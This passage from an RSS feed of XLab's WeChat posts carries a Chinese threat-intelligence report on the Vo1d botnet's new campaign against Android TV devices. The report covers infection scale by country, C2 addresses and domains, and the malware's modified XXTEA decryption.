<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=495fd206&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpicjPm56264JwoQGzMOZibOvxT7h5QHZQa1SFwFiakFOJHjRLQoKsHuQOw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="https://blog.xlab.qianxin.com/pickai_backdoor_exploits_comfyui-is-your-ai-at-risk_cn/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b86eead0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484048%26idx%3D1%26sn%3Df0431308d8e6393dd273bd5ae6f8bd1f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 11 Jun 2025 16:39:00 +0800</pubDate>
    </item>
    <item>
      <title>风云再起：全球160万电视被Vo1d僵尸网络操控，潜在危害令人担忧</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247483982&amp;idx=1&amp;sn=1f4158b79ccb30e75696c504ae1ebd3f</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-02-26 15:35</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bf85fbd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0p9iaAT3CAEdictiacC44HU5GAoia0nzicUicKeZU0yeAOkN5GoeUk4tUCmnw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000321" data-ratio="0.275" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5819df13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0oC0TibJ3BwRWXlc5SMzDiaAQqaDBoRBqfWafibFYGpCTEXIqSVONbBPhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1></h1><h1><span style="font-size: 24px;"><strong>引子</strong></span></h1><h1><br/></h1><h1><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;">2025 年 2 月 24 日，美国全国广播公司新闻（NBC News）报道称：&#34;华盛顿特区的美国住房与城市发展部（HUD）总部的电视设备突然播放了一段未经授权的 AI 生成视频。视频画面中，唐纳德·特朗普总统弯腰亲吻埃隆·马斯克的脚趾，并配以</span><strong style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">LONG LIVE THE REAL KING</span></strong><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;">字幕。</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);">工作人员无法关闭只能被迫拔掉所有电视电源&#34;。</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;">这一事件迅速引发舆论热议，公众广泛讨论。网络安全社区亦被触动，开始重新评估</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;background-color: rgb(255, 172, 213);">电视、机顶盒等设备被黑客攻陷后可能带来的重大风险</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;">。今天我们要向读者介绍的恶意程序正是<strong>专门针对Android电视设备的僵尸网络，Vo1d</strong>。</span></h1><section style="text-indent: 2em;"><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></section><section style="text-indent: 2em;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></section><h1></h1><h1><strong><span style="font-size: 24px;">背景介绍</span></strong></h1><h1><br/></h1><h1><span style="letter-spacing: 0.034em;">2024年11月28日，</span><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="font-size: 16px;letter-spacing: 0.034em;background-color: rgb(115, 250, 121);">XLab大网威胁感知系统</span></strong><span style="letter-spacing: 0.034em;">监测到IP地址38.46.218.36正在传播一个VT 0 检测，名为jddx的ELF文件，AI检测模块提示该文件带有“Bigpanzi僵尸网络的基因”。这引起了我们的兴趣，稍加分析，我们确认jddx是一个使用了Bigpanzi字符串加密算法的下载器，但其代码结构与已知的Bigpanzi样本存在显著差异。难道我们去年曝光的</span><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="font-size: 16px;letter-spacing: 0.034em;background-color: rgb(255, 172, 213);">百万级僵尸网络Bigpanzi</span></strong><span style="letter-spacing: 0.034em;">悄悄的开展了新业务？带着这一疑问，我们展开了深入分析。结果表明，jddx实际上隶属于另一个</span><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="font-size: 16px;letter-spacing: 0.034em;background-color: rgb(255, 172, 213);">百万级别僵尸网络Vo1d</span></strong><span style="letter-spacing: 0.034em;">的新变种。它本身是一个此前从未被安全社区曝光的下载器组件，其后续投递的Payload正是Vo1d僵尸网络的全新变种，这一发现标志着Vo1d已开启新一轮活动。</span></h1><p><span style="font-size: 16px;letter-spacing: 0.034em;"></span></p><p><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-indent: 2em;">从我们目前掌握的数据来看，Vo1d僵尸网络此次活动感染了全球160万台Android电视设备，波及全球200多个国家和地区。</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-indent: 2em;">为了让非网安背景的读者了解百万级别僵尸网络的威力，我们来看看现实中的例子：</span></p><ul class="list-paddingleft-1"><li><p><strong>2024年Cloudflare遭遇的超级攻击</strong>：一次DDoS攻击达到5.6 Tbps的恐怖流量，足以让任何网站瞬间崩溃。那次攻击，只用了1.5万台设备，而我们本次观测到的Vo1d控制着至少160万台设备，规模是那次的100多倍。</p></li><li><p><strong>2016年Mirai的灾难</strong>：Mirai僵尸网络让美国东海岸的互联网瘫痪，Twitter、Netflix无法访问，甚至把整个利比里亚的网络打到“断线”。它的规模不过几十万台，远不及Vo1d。</p><p><br/></p></li></ul><section style="text-indent: 0em;">Vo1d目前主要用于个人盈利，但由于其对设备拥有完全控制能力，攻击者可以轻易将其改换用途，用于直接或间接发动大规模网络攻击，或从事其他网络犯罪活动。事实上，Cloudflare在2024年Q4全球DDoS攻击趋势报告中指出，大量Android电视和机顶盒设备已参与DDoS攻击。试想，若Vo1d被用于此类攻击，只需背后的操控者一声令下，<strong>这160万台设备就会化身洪水猛兽，让您刷不了短视频、打不了游戏，甚至冲垮银行、医院、航空等民生相关系统，影响正常生活。如此量级的僵尸网络的攻击能力甚至是国家级这个层面都难以防御，这绝不是危言耸听</strong>。</section><section style="text-indent: 0em;">Vo1d的潜在危害不只是常规网络攻击范畴。安全社区长期以来似乎对电视、机顶盒等设备被攻陷的后果估计不足。这些设备不仅可被用于各种传统意义上的黑灰产活动，更因其作为现代社会内容传播核心媒介的角色，而承载着独特的风险。<strong>一旦电视或机顶盒被黑客操控，便可能成为不受法律法规约束的信息传播工具，肆意播送任何图像和声音内容</strong>。这种攻击方式在现实世界已有真实的案例：</section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p>2023年12月11日，<span style="background-color: rgb(255, 172, 213);"><strong>阿联酋居民使用的机顶盒遭到网络攻击</strong></span>，正常节目被替换为显示<span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">巴以冲突的视频。</span></p></li><li><p>2025年2月24日，<span style="background-color: rgb(255, 172, 213);"><strong>美国住房与城市发展部大楼的电视被入侵</strong></span>，常规内容被替换为<span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">特朗普亲吻马斯克脚趾的视频。</span></p><p><br/></p></li></ul><p>试想，如果被Vo1d控制的Android电视被用于传播暴力、恐怖、色情，亦或是利用当前足够以假乱真的AI技术炮制领导人的视频进行政治宣传，都会极大影响人们的正常生活秩序，危害社会稳定。</p><section style="text-indent: 0em;">回到Vo1d样本分析，对于安全研究人员来说，如此大规模僵尸网络的新活动可遇不可求。当时我们以jddx为线索，马不停蹄地展开挖掘，收获颇丰：成功捕获了89个样本，发现了诸多基础设施，包括1个Reporter、4个Downloader、21个C2域名、258个DGA种子以及超过10万个DGA域名。为了研究此次Vo1d活动的网络规模与地理分布，我们注册了部分DGA域名。<strong>数据显示，当前Vo1d僵尸网络的日活跃IP在80万左右，2025年1月14日，连续一周日活超过150万，观测到的最大数值为1590299。</strong></section><p>显然，Vo1d僵尸网络并未因曝光而式微，反而通过技术进化展现出顽强的生命力。正如常言所说：<span style="background-color: rgb(115, 250, 121);">“僵尸永远不死，而且它们拒绝凋零”</span>，通过对比Dr.Web博客披露的样本，我们发现Vo1d背后的团伙正在全力提升僵尸网络的隐匿性、健壮性和抗打击能力。这些改进或许正是他们从上次曝光和打击中汲取的经验教训。</p><p>以下是此次活动样本的核心变化：</p><ol class="list-paddingleft-1"><li><p><strong>通信加密增强</strong><br style="box-sizing: inherit;"/>网络通信使用 RSA 加密，提高数据传输的隐匿性，同时保证即使DGA C2被安全研究人员注册，也不可能接管网络。</p></li><li><p><strong>基本设施结构升级</strong><br style="box-sizing: inherit;"/>引入了硬编码，域名生成算法（DGA）俩种形式的Redirector C2用以保护真实C2，极大增强僵尸网络的隐蔽性、灵活性和抗打击能力。</p></li><li><p><strong>Payload 投递策略优化</strong><br style="box-sizing: inherit;"/>每个 Payload 都配备了独立的 Downloader，其中 Payload 本身使用魔改后的 XXTEA 算法加密，其加密密钥通过 RSA 进行保护，大幅提升了对抗分析能力。</p><p><br/></p></li></ol><section style="text-indent: 0em;">2025年，XLab指令跟踪系统成功捕获了业务相关的Payload，进一步揭示了Vo1d的运作模式: 攻击者利用受感染的Android电视设备展开的多项黑产活动，包括组建代理网络、推广广告，虚假刷量等。从Payload的功能来看，代理网络是Vo1d的核心目标之一。这一目标的商业价值已通过911s5代理的成功案例得到充分验证。根据美国司法部的消息，<span style="background-color: rgb(255, 172, 213);">911S5的运营者通过出售代理服务，赚取了超过9900万美元的非法收入</span>。随着全球执法机构对网络犯罪的打击力度不断加大，网络犯罪集团对匿名化服务的需求日益增长。而Vo1d通过控制全球范围内的海量设备构建的代理网络，相比传统代理更具吸引力，能够更好地满足匿名化和隐蔽性的需求。</section><section style="text-indent: 2em;">综上所述，<strong>Vo1d僵尸网络凭借其百万级别的规模以及持续的技术进化，对全球网络安全构成了长期且严峻的威胁。此次攻击活动已在安全厂商的监测之外潜伏超过3个月，进一步凸显了其隐蔽性。</strong>为此，我们决定撰写本文，向社区分享研究成果，为打击网络犯罪贡献一份力量。</section><h1 style="letter-spacing: 0.578px;"><span style="font-size: 24px;"><strong>技术细节示例</strong></span></h1><section style="text-indent: 0em;">由于篇幅原因，公众号上我们选取<span style="background-color: rgb(255, 172, 213);">C2基础设施，僵尸网络规模以及罕见的xxtea魔改算法</span><strong> 三部分</strong>内容作为分析成果的展示，想充分了解Vo1d僵尸网络技术细节的讲者可以参阅原文。<br/></section><section style="text-align: left;text-indent: 0em;"><span style="font-size: 20px;"><strong>第一部分：Tranco 1M级别的C2基础设施</strong></span></section><section style="text-align: left;text-indent: 0em;"><strong style="font-size: 20px;text-indent: 2em;letter-spacing: 0.034em;text-align: justify;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);">C2基础设施</span></strong></section><section style="text-align: left;text-indent: 0em;"><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">通过11月28日捕获的样本JDDX，我们识别了C2域名 ssl8rrs2.com 以及基于32个DGA种子生成21120个DGA C2的网络行为模式。</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">C2绑定的 </span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;background-color: rgb(255, 172, 213);">IP 3.146.93.253 是 vo1d 此次攻击活动的核心基础设施之一</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">，该 IP 下解析了 5 个不同的域名，其中 ssl8rrs2 和其他域名已在后续捕获的样本中被进一步验证为 C2 域名。</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">这些域名使用了不同的端口实现负载均衡，如 ssl8rrs2 使用端口 55600，而 viewboot 使用端口 55503，这种做法无疑增加网络的可靠性和抗侦测能力</span><span style="text-indent: 2em;font-size: var(--articleFontsize);color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;background-color: rgb(255, 255, 255);">。</span></section><section style="text-indent: 2em;line-height: 1.6em;"><span style="text-indent: 2em;color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="243" data-backw="578" data-galleryid="" data-imgfileid="100000322" data-ratio="0.41944444444444445" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ede4f85b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0JY8S1npn6uSUoExTWWC53iblUQ0o9trjB4xibD6iajJOZLqwjkfwW5xoA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-indent: 2em;line-height: 1.6em;"><span style="text-indent: 2em;color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></section><section>通过溯源分析，我们发现了另一个<span style="background-color: rgb(255, 172, 213);">核心资产 3.132.75.97</span>，该 IP 关联了以下 7 个域名。其中，ttss442 和 works883 两个域名已在近期捕获的样本中作为 C2出现。至于剩余的 5 个域名，综合考虑域名的格式，创建时间，我们有较高信心将其研判为Vo1d团伙的资产。</section><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="316" data-backw="578" data-galleryid="" data-imgfileid="100000323" data-ratio="0.5462962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3a44d024&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0a69CZ37Nhn2q4LLWxSMI6iaeSuYibes1EgL9wfVdDY3ia2dicES8SGWKUA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><strong style="font-size: 20px;text-indent: 2em;letter-spacing: 0.034em;text-align: justify;"><span style="text-indent: 2em;color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">Tranco 1M排名</span></strong></p><p style="text-align: left;"><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">Tranco排名 是一个用于衡量网站流行度的综合性排名系统，旨在提供更准确、更可靠的全球网站排名数据。</span><span style="text-indent: 2em;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">它结合了Cisco Umbrella，Majestic，Farsight，Cloudflare Radar，Chrome 用户体验报告 (CrUX)等多个数据源，成为学术界广泛使用的工具。</span></p><section style="text-indent: 2em;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></section><p style="margin-bottom: 16px;">在Tranco的排名中，Vo1d僵尸网络部分大部分C2都进入了全球网站排名50万之内，少数更是到了5万多名。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="232" data-backw="578" data-galleryid="" data-imgfileid="100000324" data-ratio="0.40083217753120665" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="721" src="https://wechat2rss.xlab.app/img-proxy/?k=10be3ff5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0dywzP9rWdTDFfQ7ZKFuETdmsBIjIXCzxELkib18XupFwqo7fzb4MGAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">值得一提的是ttss442，该域名于2024年11月3日创建，在短短几个月内便冲进全球域名排名前55000。</span><strong><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">这一现象从侧面反映了Vo1d僵尸网络的庞大的规模和惊人的活跃程度。</span></strong><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></section><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="277" data-backw="578" data-galleryid="" data-imgfileid="100000325" data-ratio="0.4787037037037037" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2f98bf80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0eH3d6R3VYBwOaQGbiaib7ia2VqYrKyBia5I10OBhFVPkl9JWAamticmx3hA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span style="font-size: 24px;"><strong>第二部分：<span style="font-size: 24px;text-indent: 2em;letter-spacing: 0.034em;text-align: justify;">百万级僵尸网络规模</span></strong></span></p><p style="text-align: left;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">此次 vo1d 变种所采用的 DGA 算法与 Dr.Web 披露的早期样本完全一致，但支持的 DGA 种子数量发生了显著变化，从最初版本硬编码的 5 个种子，扩展到了变种中的 32 个，这一改动显著提升了生成域名的规模。</span></p><p style="text-align: left;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">随着溯源工作的深入，我们陆续注册了</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;background-color: rgb(115, 250, 121);">258个DGA C2域名</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;">，从而初步掌握了 VO1D 僵尸网络的部分视野。根据收集的数据，约有 160 万设备遭到感染，覆盖全球 200多个国家和地区，2025年1月14日起，连续7天日活Bot接近150万，1月19日达到峰值1590299。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="359" data-backw="578" data-galleryid="" data-imgfileid="100000326" data-ratio="0.6212962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2f456448&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0sNJzWfJUqXxCyz0Idb3ge1MPLAXoqwnxDJlfib9xgevELlpfAicTicc0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 17px;"><span style="font-size: 17px;color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">当前日活跃的 Bot 数量在80万左右，我们取2月1日到15日的数据进行统计，感染量前10的国家分别为巴西25.0%，南非13.6%，印度尼西亚10.5%，阿根廷5.3%，泰国3.4%，中国3.1%，摩洛哥2.8%，菲律宾2.2%，德国2.2%，马来西亚2.1%。</span><span style="font-size: 17px;box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">此次活动中国感染量不小，日活规模超过20000</span><span style="font-size: 17px;color: rgb(21, 23, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">。</span></span></p><section style="text-indent: 2em;text-align: left;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="304" data-backw="578" data-galleryid="" data-imgfileid="100000327" data-ratio="0.5259259259259259" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=41887849&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0wz4w0KesaGsRO6InP130HsH07zDv7mFbwT4b81dz4u3vBU2QJtGHXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>2025年2月21日起，Vo1d的感染规模迎来一波小增长，当日从80万上升到110多万。下图为2月25日感染量前15的国家，值得注意的是印度从第29位直线上升到第2位；中国的感染量也接近5万。<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="346" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="346" data-galleryid="" data-imgfileid="100000330" data-ratio="0.5984072810011376" data-s="300,640" style="width: 578px;height: 346px;" data-type="png" data-w="879" src="https://wechat2rss.xlab.app/img-proxy/?k=b5664885&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0vvMqVVoRhBFG18vJIclxMurDic9nypYfUxjlawQxAibiaoIuSWGkKd9rg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 24px;"><strong>第三部分：罕见的xxtea魔改算法</strong></span></p><p><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"></strong>以下代码片段用于解密Vo1d载荷，有安全分析的读者肯定能一眼就能确定它是xxtea算法。然而我们使用尝试使用Python去解密时，却总是不对，这让我们百思不得其解。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="305" data-backw="578" data-galleryid="" data-imgfileid="100000328" data-ratio="0.5277777777777778" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6706d948&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0Lv2oZkqOHEBWVk6J5at2Be73R45pC0JWNgzXe1xGeVe3moNOOB6M4Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>尽管可以通过模拟或动态dump的方式获取解密后的payload，但我们作为安全研究员并不满足于黑盒式的解密。抱着打破砂锅问到底的态度，在几杯咖啡的陪伴下，我们经过仔细比对，发现Vo1d解密payload的XXTEA算法其实是一个魔改版本——<span style="background-color: rgb(115, 250, 121);">它用算术右移（asr） 替代了标准XXTEA算法中的逻辑右移（lsr）</span>。我们将此魔改算法命名为asr_xxtea，并在Vo1d的各种组件都中发现了它的身影。在恶意软件开发中，对标准算法进行修改并不常见，这一发现从侧面反映了Vo1d团伙深厚的技术积累。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="334" data-backw="578" data-galleryid="" data-imgfileid="100000329" data-ratio="0.5777777777777777" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=042ab581&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbjfBZ1Q1u8hLgAJsFegsmia0VEhwqO8m4CVZn1OKzibLJalK35Ivhlere7ol1dEWLDxAyib6StPkmia6Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="font-size: 24px;">Vo1d还有很多有意思的技术细节，</span></strong><span style="font-size: 17px;">如DGA算法，RSA加密等等。</span><span style="font-size: 20px;"><strong><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">对技术分析感兴趣的讲者，请访问XLab Blog，上面详细地分享了我们的发现&amp;分析过程，以及逆向工具的使用。</strong></strong></span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="67" data-source-title=""><section class="js_blockquote_digest"><p><a href="https://blog.xlab.qianxin.com/long_live_the_botnet_vo1d_is_back_cn/" target="_blank">https://blog.xlab.qianxin.com/long_live_the_botnet_vo1d_is_back_cn/</a></p></section></blockquote><p><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">或者点击下方的</span><span style="letter-spacing: 0.034em;"><strong style="font-size: 24px;">阅读原文</strong>。</span><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="font-size: 24px;">不过请您做好心理准备，阅读全文大约需要45分钟，<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-ratio="1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=64e4a2db&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2F2_06.png"/><img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=2f0a3292&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2FLol.png"/><img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=237274f1&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2F2_05.png"/><img class="rich_pages wxw-img" data-ratio="1" style="display: inline-block;width: 20px;vertical-align: middle;background-size: cover;height: auto;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=76899f41&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2FYellowdog.png"/>。</span></strong><span style="font-size: 20px;"><span style="font-size: 20px;letter-spacing: 0.578px;">想了解更多内幕信息的读者，可以给我们留言。</span></span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://blog.xlab.qianxin.com/long_live_the_botnet_vo1d_is_back_cn/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cac32296&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247483982%26idx%3D1%26sn%3D1f4158b79ccb30e75696c504ae1ebd3f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 Feb 2025 15:35:00 +0800</pubDate>
    </item>
    <item>
      <title>顶级域名ai.com认证Deepseek? ai.com的前世今生</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247483963&amp;idx=1&amp;sn=13797c6a23d9c58d7a888c53704b0b47</link>
      <description>顶级域名ai.com认证Deepseek? 本文基于多个数据维度，带大家一步步了解  ai.com 的真实历史和现状，帮助大家从纷繁复杂的信息中辨别真伪，同时也为大家提供一些技术背景知识，以便更全面地理解这一现象。</description>
      <content:encoded><![CDATA[<p>
原创 <span>XLab</span> <span>2025-02-14 12:58</span> <span style="display: inline-block;">北京</span>
</p>

